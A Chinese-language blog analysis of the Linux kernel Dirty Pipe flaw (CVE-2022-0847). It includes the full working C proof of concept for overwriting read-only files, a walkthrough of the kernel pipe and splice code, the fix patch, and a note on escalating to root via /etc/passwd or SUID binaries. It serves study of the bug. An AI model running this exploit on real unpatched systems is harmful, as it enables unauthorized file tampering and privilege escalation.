经典内核漏洞复现之 dirtypipe

  • CVE编号:CVE-2022-0847

  • 受影响linux版本:5.8 ~ 5.16.11, 5.15.25 and 5.10.102.

  • 漏洞原因:pipe管道相关的sys_splice实现中,对pipe_buffer->flags未初始化,导致原本只能被读取的page cache被写

  • poc效果:普通用户可以越权写任意只读文件(缺陷:不能持久化

漏洞分析

漏洞涉及的代码量较多,所以我们从poc着手开始分析。

poc分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
/* 创建管道 */
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
// 通过fcntl系统调用的F_GETPIPE_SZ和F_SETPIPE_SZ来查看和设置管道容量
static char buffer[4096];

/* 填满管道
此时每一个管理pipe空间的pipe_buffer结构体中flags会被置PIPE_BUF_FLAG_CAN_MERGE*/
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* 清空管道
此时pipe_buffer->flags仍然有PIPE_BUF_FLAG_CAN_MERGE标志 */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* 此时管道已经空了,如果有人将某个页面关联到pipe_buffer,
并且忘记初始化pipe_buffer->flags的话,这个页面就可能被merge(被写) */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* 1. 首先,通过prepqre_pipe()让管道中16个pipe_buffer->flags都被置为
PIPE_BUF_FLAG_CAN_MERGE。merge代表“合并”,我理解这个标志的意思是,
只要当前pipe_buffer对应的page还有空间,那么下一次往管道写的时候,
就可以继续写到这个page里*/
int p[2];
prepare_pipe(p);

/* 2. splice将文件page cache关联到管道的pipe_buffer->page,通过管道就能将文件内容读出。
漏洞就出在这个函数的实现中,由于此时pipe_buffer->flags为PIPE_BUF_FLAG_CAN_MERGE,
导致通过写管道,就能写磁盘文件。且整个过程中没有写权限的检查。*/
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* 3. 通过write写管道,就直接写到了文件 */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}

poc对应到内核处理过程中,三个重点如下:

  1. 第一次写pipe时,对应的内核代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
    {
    // ......
    buf = &pipe->bufs[head & mask];
    buf->page = page;
    buf->ops = &anon_pipe_buf_ops;
    buf->offset = 0;
    buf->len = 0;
    if (is_packetized(filp))
    buf->flags = PIPE_BUF_FLAG_PACKET;
    else
    buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 会进入该分支
    pipe->tmp_page = NULL;
    // ......
    }
  2. 调用splice时,调用路径比较长,但最终会进入下面这个函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, struct iov_iter *i)
    {
    // ......
    buf = &pipe->bufs[i_head & p_mask];
    // ......
    buf->ops = &page_cache_pipe_buf_ops;
    get_page(page);
    buf->page = page; // 这个page是前序步骤中获得的文件page cache,直接给了管道的pipe_buffer->page。这里是“零拷贝”的精髓
    buf->offset = offset;
    buf->len = bytes;
    // ......
    }
  3. 第二次写pipe时,会使用上一步的page cache

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
    {
    // ......
    if (chars && !was_empty) { // 由于splice设置了管道,当前管道非空,且需要写入的长度非0,于是会进入该分支
    // ......
    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { // 满足条件
    // ......
    ret = copy_page_from_iter(buf->page, offset, chars, from); // 直接就往page cache里写了
    // ......
    }
    // ......
    }

需要注意的是,由于第二步splice时,参数len(对应bytes)至少为1,所以利用漏洞写的时候,开始的那1个字节是无法覆盖的。

管道相关操作的详细内核代码流程,可以参考下一小节的分析。

内核代码分析

抽象层面,我们认为管道就是一个buffer,一端(fd[0])读,另一端(fd[1])写。

对应到内核代码实现,管道实际是由1~16个page组成的,每个page通过struct pipe_buffer管理,而16个struct pipe_buffer又通过一个struct pipe_inode_info进行管理。抽象出如下图所示的结构,管道的数据实际存放在最下层的物理页面中。

image-20230507234844419

看代码时明白了一些点,怕之后忘记需要重看代码(费时间),所以记录一下。当往管道中写入数据时:

  • 如果创建pipe时flags中没有O_DIRECT,pipe_buffer->flags就会被赋值为PIPE_BUF_FLAG_CAN_MERGE。那么前后多次写入pipe的数据,内核在处理时可以将它们合并到1个page中存储(要求这些数据总长度<= 1 PAGESIZE)

  • 如果创建pipe时flags中有O_DIRECT,那么一次写入的数据,必须自己占一个page(不管是否写满),不跟前后写入的数据合并

  • 在读的时候也一样,不带O_DIRECT标志的,page内容全部读完了才释放空间。带O_DIRECT标志的,不管这次读走了多少,都要释放空间

  • 调用write往pipe写的时候,一次最多只能写一个PAGESIZE,即4096字节

  • 一个pipe管道最多能写16*4096=65535字节数(默认,可通过 fcntl() 设置),再写就会阻塞,直到有人读出

创建pipe

创建pipe,即建立管道,涉及两个主要结构体创建(空间分配):struct pipe_inode_infostruct pipe_buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
#define PIPE_DEF_BUFFERS	16

struct pipe_inode_info *alloc_pipe_info(void)
{
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
// ......
/*申请一个pipe_inode_info,用于管理管道*/
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
// ......
/*申请16个pipe_buffer,形成环形缓冲区,用于管理16个管道页*/
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT);
// ......
}

struct pipe_inode_info结构体(linux5.15版本)中各成员的含义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait; // 等待队列,存储正在等待的可读或可写的进程
unsigned int head; // 写管道头(production),当向管道写入数据时从该位置开始写入
unsigned int tail; // 读管道头(consumption),当从管道读取数据时从该位置开始读取
unsigned int max_usage; // pipe ring中可使用的slots的最大数量,一般为0x10
unsigned int ring_size; // pipe ring的环形大小,一般为0x10
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers; // 正在读取管道的进程数
unsigned int writers; // 正在写入管道的进程数
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
unsigned int poll_usage;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs; // 环形缓冲区,由16个pipe_buffer对象组成,每个pipe_buffer对象管理一个内存页
struct user_struct *user; // 创建该pipe的用户
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

struct pipe_buffer结构体(linux5.15版本)中各成员的含义如下:

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page; // 存放数据的内存页
unsigned int offset, len; // 二者共同组成当前page可读的范围
const struct pipe_buf_operations *ops; // 可以对该buffer进行的一些操作
unsigned int flags; // 当前buffer的标志
unsigned long private;
};

写pipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data; // 获取管道的管理结构pipe_inode_info
// ......
size_t total_len = iov_iter_count(from); // 需要写入的长度
ssize_t chars;
// ......
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) { // 待写入长度非0,且管道非空,先检查一下上一个buffer的条件
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; // 取上一个buffer,因为上一个可能还有空闲空间,而当前head指向的buffer需要新申请
int offset = buf->offset + buf->len;

if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) { // 如果上一个buffer允许merge,且剩余空间够存储本次的数据,则写到此处
// ......
ret = copy_page_from_iter(buf->page, offset, chars, from);
// ......
buf->len += ret;
if (!iov_iter_count(from)) // 如果剩余待拷贝的长度为0,则跳转到out退出
goto out;
}
}

for (;;) { // 如果剩余写入空间不足,需要新申请一个page(也称做slot?)
// ......
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) { // 如果管道没满
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask]; // 取head对应的pipe_buffer
struct page *page = pipe->tmp_page;
int copied;

if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); // 先申请一个page(也叫做一个slot),即使此次未使用,下次也还可以用
// ......
}
// ......
pipe->head = head + 1; // slot已申请完毕,让写管道头head指向下一个序号
buf = &pipe->bufs[head & mask]; // 当前slot的管理结构pipe_buffer
buf->page = page; // 将刚刚申请的page连接接到pipe_buffer
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp)) // 判断pipe创建时是否指定了O_DIRECT(即packet mode)
buf->flags = PIPE_BUF_FLAG_PACKET; // 是packet mode
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 非packet mode,则将pipe_buffer的flags加上该标志,表示允许merge
pipe->tmp_page = NULL;

copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); // 拷贝数据
// ......
ret += copied;
buf->offset = 0;
buf->len = copied;

if (!iov_iter_count(from))
break; // 用户态数据全都写完了,则break
}
// ......
}
out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
// ......
if (was_empty || pipe->poll_usage) // 如果一开始管道为空,写完后管道非空了,可以唤醒读进程
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
if (wake_next_writer) // 如果管道没满,可以唤醒写进程
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
// ......
return ret;
}

读pipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
size_t total_len = iov_iter_count(to); // 需要读取的长度
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data; // 取出当前管道的管理结构pipe_inode_info
// ......
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage); // 判断管道是否已满,是的话在读完后需要唤醒等待写管道的进程
for (;;) {
unsigned int head = pipe->head;
unsigned int tail = pipe->tail;
unsigned int mask = pipe->ring_size - 1;

if (!pipe_empty(head, tail)) { // 判断当前管道是否非空
struct pipe_buffer *buf = &pipe->bufs[tail & mask]; // 根据读管道头tail,选择对应的pipe_buffer结构体
size_t chars = buf->len; // 当前管道页可读的总长度
// ......
if (chars > total_len) {
// ......
chars = total_len; // 如果管道页中,可读取的长度chars大于需要读取的长度total_len
}
// ......
written = copy_page_to_iter(buf->page, buf->offset, chars, to); // 数据拷贝
// ......
ret += chars;
buf->offset += chars;
buf->len -= chars; // 读完之后,pipe_buffer的offset和len都要更改
// ......
if (!buf->len) { // 当管道页可读取长度剩余0时,释放该页,让管道头tail指向下一个序号
pipe_buf_release(pipe, buf);
// ......
tail++;
pipe->tail = tail;
// ......
}
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
if (!pipe_empty(head, tail))
continue; // 该管道页已读完,但还未读到totoal_len长度数据,且管道非空,则继续读下一个管道页
}
// ......
}
if (pipe_empty(pipe->head, pipe->tail))
wake_next_reader = false;
__pipe_unlock(pipe);

if (was_full) // 读之前管道已满,读之后管道空出了一些,所以可唤醒写进程
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (wake_next_reader) // 管道非空,则唤醒下一个读进程
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
// ......
return ret; // 返回已读取字节数
}

另外,pipe_buf_release()的时候有一个优化,当pipe_buffer使用的page只有一个引用,且pipe_inode_info->tmp_page为空时,会将这个page给tmp_page。这样需要下一个写请求的时候,若空间不够就无需再申请page。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;

buf->ops = NULL;
ops->release(pipe, buf);
}

static void anon_pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
struct page *page = buf->page;

/*
* If nobody else uses this page, and we don't already have a
* temporary page, let's keep track of it as a one-deep
* allocation cache. (Otherwise just release our reference to it)
*/
if (page_count(page) == 1 && !pipe->tmp_page)
pipe->tmp_page = page;
else
put_page(page); // put_page后,page依然挂在pipe_buffer->page中。不过此时offset为0x1000,len为0,根据函数逻辑这个page不会再被用到,不会有什么问题
}

splice操作

splice在内核中的函数调用路径如下:

1
2
3
4
5
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in, int, fd_out, loff_t __user *, off_out, size_t, len, unsigned int, flags);
// ⬇
__do_splice(in.file, off_in, out.file, off_out, len, flags);
// ⬇
do_splice(in, __off_in, out, __off_out, len, flags);

do_splice()中分三种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
long do_splice(struct file *in, loff_t *off_in, struct file *out,
loff_t *off_out, size_t len, unsigned int flags)
{
// ......
ipipe = get_pipe_info(in, true);
opipe = get_pipe_info(out, true); // 通过文件描述符获取pipe信息

if (ipipe && opipe) { // 1. 当in和out都是pipe类型
// ......
return splice_pipe_to_pipe(ipipe, opipe, len, flags);
}

if (ipipe) { // 2. 当只有in是pipe类型
// ......
ret = do_splice_from(ipipe, out, &offset, len, flags);
// ......
if (!off_out)
out->f_pos = offset;
else
*off_out = offset; // 不会影响原文件的f_pos
return ret;
}

if (opipe) { // 3. 当只有out是pipe类型
// ......
if (off_in) { // 判断off_in是否有值
if (!(in->f_mode & FMODE_PREAD)) // 判断in->f_mode是否可读(文件打开模式中是否有可读标志)
return -EINVAL;
offset = *off_in; // 如果off_in有值,且in->f_mode可读,则取off_in中的值当作读的偏移值
} else {
offset = in->f_pos; // 如果off_in为空,则使用in->f_pos作为读的偏移值
}
// ......
ret = splice_file_to_pipe(in, opipe, &offset, len, flags);
if (!off_in)
in->f_pos = offset;
else
*off_in = offset; //调用splice时,如果给非pipe fd搭配了off_xx参数,那么splice不会影响原文件的f_pos

return ret;
}

这里我们只需关注最后一种out是pipe类型的情况,即splice_file_to_pipe()的调用路径

1
2
3
4
5
splice_file_to_pipe(in, opipe, &offset, len, flags);
// ⬇
do_splice_to(in, offset, opipe, len, flags);
// ⬇
in->f_op->splice_read(in, ppos, pipe, len, flags);

image-20230506193531161

vscode+gdb调试结果显示,in->f_op->splice_read对应到generic_file_splice_read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t generic_file_splice_read(struct file *in, loff_t *ppos,
struct pipe_inode_info *pipe, size_t len,
unsigned int flags)
{
// ......
iov_iter_pipe(&to, READ, pipe, len); // 初始化to,用于后续读写操作
init_sync_kiocb(&kiocb, in); // 用in初始化kiocb
kiocb.ki_pos = *ppos; // 用户态参数*off_in初始化kiocb.ki_pos
ret = call_read_iter(in, &kiocb, &to);
// ......
return ret;
}

static inline ssize_t call_read_iter(struct file *file, struct kiocb *kio,
struct iov_iter *iter)
{
return file->f_op->read_iter(kio, iter);
}

file->f_op->read_iter对应到generic_file_read_iter()

1
2
3
4
5
6
ssize_t generic_file_read_iter(struct kiocb *iocb, struct iov_iter *iter)		
{
// ......
return filemap_read(iocb, iter, retval);
}
// 读取 kiocb->ki_filp 文件 kiocb->ki_pos 偏移起始处的数据,保存到 iter 描述的用户态缓存中,iter->count 描述需要读取的数据量

然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ssize_t filemap_read(struct kiocb *iocb, struct iov_iter *iter,
ssize_t already_read)
{
struct file *filp = iocb->ki_filp;
struct file_ra_state *ra = &filp->f_ra;
struct address_space *mapping = filp->f_mapping;
struct inode *inode = mapping->host;
// ......
iov_iter_truncate(iter, inode->i_sb->s_maxbytes);
pagevec_init(&pvec);

do {
// ......
error = filemap_get_pages(iocb, iter, &pvec); // ***在文件page cache中寻找当前操作的文件区间[@pos, @pos+@count)对应的 buffer page,当 page cache 中尚不存在对应的buffer page 时,则分配一个新的 buffer page

isize = i_size_read(inode); // inode对应的文件大小
end_offset = min_t(loff_t, isize, iocb->ki_pos + iter->count); // 计算读取请求的结束位置
// ......
for (i = 0; i < pagevec_count(&pvec); i++) {
struct page *page = pvec.pages[i]; // 上文中filemap_get_pages()中获得的页面
size_t page_size = thp_size(page);
size_t offset = iocb->ki_pos & (page_size - 1); // 用户态传入的*off_in
size_t bytes = min_t(loff_t, end_offset - iocb->ki_pos, page_size - offset); // 计算应当读取的文件长度
// ......
copied = copy_page_to_iter(page, offset, bytes, iter); // ***执行拷贝操作

already_read += copied; // 已拷贝的长度
iocb->ki_pos += copied; // 改变iocb中的偏移量
// ......
}
// ......
} while (iov_iter_count(iter) && iocb->ki_pos < isize && !error);
// ......
return already_read ? already_read : error;
}

再分别看一下filemap_get_pages()copy_page_to_iter()函数:

  1. 首先是filemap_get_pages()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    static int filemap_get_pages(struct kiocb *iocb, struct iov_iter *iter,
    struct pagevec *pvec)
    {
    struct file *filp = iocb->ki_filp;
    struct address_space *mapping = filp->f_mapping;
    pgoff_t index = iocb->ki_pos >> PAGE_SHIFT; // 读文件的起点偏移对应在第几个page
    // ......
    last_index = DIV_ROUND_UP(iocb->ki_pos + iter->count, PAGE_SIZE); // 读文件的终点偏移对应在第几个page
    retry:
    filemap_get_read_batch(mapping, index, last_index, pvec); // 找到对应的page cache
    if (!pagevec_count(pvec)) { // 如果没有,说明不在页缓存中,那么就同步地去读
    // ......
    page_cache_sync_readahead(mapping, ra, filp, index, last_index - index);
    filemap_get_read_batch(mapping, index, last_index, pvec);
    }
    if (!pagevec_count(pvec)) { // 如果还找不到,就创建新的page cache。一次创建一个页的大小
    // ......
    err = filemap_create_page(filp, mapping, iocb->ki_pos >> PAGE_SHIFT, pvec);
    if (err == AOP_TRUNCATED_PAGE)
    goto retry;
    return err;
    }
    // ......
    return err;
    }
  2. 然后是copy_page_to_iter()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    copy_page_to_iter(page, offset, bytes, iter);
    // ⬇
    __copy_page_to_iter(page, offset, min(bytes, (size_t)PAGE_SIZE - offset), i);
    // ⬇
    static size_t __copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
    struct iov_iter *i)
    {
    // ......
    if (iov_iter_is_pipe(i)) // splice中将iter_type设置成了ITER_PIPE
    return copy_page_to_iter_pipe(page, offset, bytes, i);
    // ......
    return 0;
    }
    // ⬇
    static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
    struct iov_iter *i)
    {
    struct pipe_inode_info *pipe = i->pipe;
    struct pipe_buffer *buf;
    unsigned int p_tail = pipe->tail;
    unsigned int p_mask = pipe->ring_size - 1;
    unsigned int i_head = i->head;
    size_t off;

    if (unlikely(bytes > i->count))
    bytes = i->count;

    if (unlikely(!bytes)) // 调用splice时,用户态传入的len不能为0
    return 0;
    // ......
    buf->ops = &page_cache_pipe_buf_ops;
    get_page(page); // 让page的_count加一,以防在处理page的时候该page被内核释放掉
    buf->page = page; // ***直接把page cache对应的物理页面给了pipe_buffer中的page成员
    buf->offset = offset;
    buf->len = bytes; // offset和bytes共同标记该slot可读取的范围
    // ......
    i->count -= bytes;
    return bytes;
    }

简单来说,就是splice直接把page cache给到了pipe_buffer->page,省去了用户态访问文件时需要来回拷贝的麻烦,提升了效率。如下图所示:

image-20230508000125542

正常情况下,没有PIPE_BUF_FLAG_CAN_MERGE标记的话,这个pipe_buffer指向的page是只会被读取的,无法进行写入操作。

但是,由于copy_page_to_iter_pipe()函数中,忘记对buf->flags做初始化,默认以为它是0,导致了漏洞的发生。

漏洞修复

patch: lib/iov_iter: initialize “flags” in new pipe_buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
---
lib/iov_iter.c | 2 ++
1 file changed, 2 insertions(+)

diff --git a/lib/iov_iter.c b/lib/iov_iter.c
index b0e0acdf96c1..6dd5330f7a99 100644
--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
return 0;

buf->ops = &page_cache_pipe_buf_ops;
+ buf->flags = 0;
get_page(page);
buf->page = page;
buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
break;

buf->ops = &default_pipe_buf_ops;
+ buf->flags = 0;
buf->page = page;
buf->offset = 0;
buf->len = min_t(ssize_t, left, PAGE_SIZE);
--

除了poc涉及的copy_page_to_iter_pipe()函数,漏洞补丁还在push_pipe()中对pipe_buffer->flags做了初始化操作。

(跟dirtycow一样简单的两行patch,跟dirtycow一样可以写任意只读文件,这两个洞实在是太强了)

漏洞利用

poc验证

poc验证较简单,利用qemu搭建linux5.15的环境,很快就出结果了(这点比dirtycow好用,不需要竞争,可惜能用dirtypipe打的版本不多)。

image-20230508002043475

两个小瑕疵:

  1. 第一个字节无法覆盖。

  2. 无法持久化。重启后文件恢复未被更改的状态,除非有其他有权限进程改了该文件,让其变为dirty,我们利用dirtypipe的更改才会被写回到磁盘中,否则只能改pagecache中的内容。不过以基于此也足够提权利用了。

提权利用

在x86 linux上进一步的提权利用跟dirtycow类似,找一些特殊文件如/etc/passwd,或带suid位的可执行程序,或者公用的库函数之类的,利用dirtypipe将文件内容改掉达到提权目的。

poc已经把主体框架搭完了,剩下的工作感觉有点重复,这里就先略过。后面有需要再补上。

知识点

pipe

管道是一个单向的数据通道,用于进程间通信。

linux系统上,用于创建管道的系统调用有两个:pipe和pipe2,它们的区别仅在于pipe2多了一个flags参数(当flags为0时,pipe2和pipe等价)。对应libc封装函数的定义如下:

1
2
3
4
5
6
#include <unistd.h>
int pipe(int pipefd[2]);

#include <fcntl.h> /* Definition of O_* constants */
#include <unistd.h>
int pipe2(int pipefd[2], int flags);

返回的数组pipefd[2]表示管道的两端,pipefd[0]是读端,pipefd[1]是写端,写入的数据会在内核中缓存。

splice

splice是零拷贝在管道(pipe)上的一种实现,它针对两个文件描述符进行数据搬运操作,无需将数据从内核态拷贝到用户态,而后再拷贝回内核。它在libc中的封装函数定义如下:

1
2
3
4
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <fcntl.h>

ssize_t splice(int fd_in, off64_t *off_in, int fd_out, off64_t *off_out, size_t len, unsigned int flags);

表示从fd_in(偏移*off_in的位置)移动len字节数据到fd_out,有个条件是fd_infd_out至少有一个是pipe建立的文件描述符(对应的off_in和off_out必须设置成NULL)。所以这里有三种情况,in和out都是pipe,in是pipe而out不是,in不是而out是pipe,三者在代码中的处理过程是不一样的。

背后的故事

漏洞发现

作者Max Kellermann在他的博客中详细记录了这个漏洞的发现过程。

2021年4月份作者第一次收到文件损毁的工单(貌似他并不是专业安全研究员),大半年的时间里一步一坑从应用层逐渐探索到内核层,终于在2022年2月确认问题根因是一个linux内核漏洞。

文章的字里行间透露出过程中的困惑和不可思议,着实佩服作者探索本质的勇气和坚持。

953c7c7aly1hds5fdmz6nj21mc17sqsa.jpg

这种类型的漏洞不好发现,不像多数内存洞会有很直观的反应(崩溃/死机/重启),它的影响仅仅是改变了磁盘文件的某些字节,即使发生了也很难察觉。但这种漏洞却很好用,无需一步步在内核中构造ROP、绕过各种安全措施再回到用户态获得root shell,它直接在应用层面改一些特殊文件即可达到提权目的(从容又稳定)。

代码历史

参考 Linux 内核提权 DirtyPipe(CVE-2022-0847)漏洞分析

splice系统调用代码演进历程:

  • linux 2.6:引入splice系统调用

    patch: Introduce sys_splice() system call

  • linux 4.9:添加iov_iter对pipe的支持

    patch: new iov_iter flavour: pipe-backed

    从这个版本开始,出现了copy_page_to_iter_pipe()push_pipe(),而这两个函数中缺少对pipe_buffer->flags的初始化操作。不过此时flags还没有merge属性,因此无影响。

  • linux 5.1:删除pipe_buffer_operations中的can_merge成员

    patch: pipe: stop using ->can_merge

    pipe_write()中使用pipe_buf_can_merge()函数检查区分不同的pipe_buffer,只允许注册了anon_pipe_buf_ops的pipe_buffer通过检查

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    static ssize_t
    pipe_write(struct kiocb *iocb, struct iov_iter *from)
    {
    // ......
    if (pipe_buf_can_merge(buf) && offset + chars <= PAGE_SIZE) {
    ret = pipe_buf_confirm(pipe, buf);
    if (ret)
    goto out;

    ret = copy_page_from_iter(buf->page, offset, chars, from);
    // ......
    }

    static bool pipe_buf_can_merge(struct pipe_buffer *buf)
    {
    return buf->ops == &anon_pipe_buf_ops;
    }
  • linux 5.8:合并各种类型pipe_buffer_operations,新增PIPE_BUF_FLAG_CAN_MERGE属性

    patch: pipe: merge anon_pipe_buf*_ops

    此版本合并了各种类型的pipe_buffer_operations(因为都一样,没必要重复定义),对pipe_buffer中flags成员,新增PIPE_BUF_FLAG_CAN_MERGE属性。

    由于自linux 4.9以来,flags在copy_page_to_iter_pipe()push_pipe()中未初始化,所以新增的这个属性就导致了漏洞的发生。

参考文章

The Dirty Pipe Vulnerability

DirtyPipe(CVE-2022-0847)漏洞分析

终端安全 | DirtyPipe(CVE-2022-0847)漏洞分析

Linux 的进程间通信:管道

看一遍就理解:零拷贝详解

linux网络编程九:splice函数,高效的零拷贝

LINUX系统调用SENDFILE和SPLICE简单分析

图解 | Linux进程通信 - 管道实现

O_DIRECT - Linux 直接I/O 原理与实现

IO - filemap - 1 Bufferd IO